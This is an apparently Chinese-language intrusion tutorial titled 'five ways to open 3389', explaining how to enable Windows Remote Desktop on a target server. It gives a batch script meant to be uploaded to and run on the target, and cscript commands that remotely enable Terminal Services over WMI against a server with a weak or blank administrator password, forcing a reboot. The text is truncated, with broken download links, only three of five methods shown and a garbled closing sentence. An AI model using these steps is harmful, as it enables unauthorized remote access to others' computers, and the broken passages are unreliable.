开3389的5种方法

开启Windows终端服务（即远程桌面连接端口3389）的详细步骤和工具汇总：

一、手动编辑文件开启端口

打开记事本，编辑以下内容：

```plaintext

echo [Components] > c:\sql

echo TSEnable = on >> c:\sql

sysocmgr /i:c:\winnt\inf\sysocf /u:c:\sql /q

```

编辑完成后保存为BAT文件，然后将其上传至目标服务器并执行。请注意，要确保winnt文件夹是否在C盘，如果不在则需要相应调整路径。

二、使用脚件本地开启3389工具（适用于XP和2000系统）

下载rots1.05工具（地址：[

```plaintext

cscript ROTS.vbs <目标IP> <用户名> <密码> [服务端口] [自动重起选项]

```

例如，扫描到一个有NT弱口令的服务器，可以使用以下命令进行开启：

```plaintext

cscript reg.vbe 222.222.222.222 administrator "" 3389 /fr

```

其中，IP是目标服务器的地址，用户名和密码是登录凭证，可以根据实际情况进行修改。端口号可以自定义设置，/fr是强制重启命令。脚本会自动判断目标系统类型，如果不是服务器版本则会提示用户是否取消操作。如果确信脚本判断有误，可以继续安装。脚本通过访问目标服务器的135端口进行操作，如果此端口未开放或WMI服务关闭则无法使用此脚本。

三、使用自动安装程序开启终端服务（针对不熟悉命令行操作的用户）

下载DJshao正式版5.0（地址：[ NT Utilities等注册版软件来帮助完成相关操作。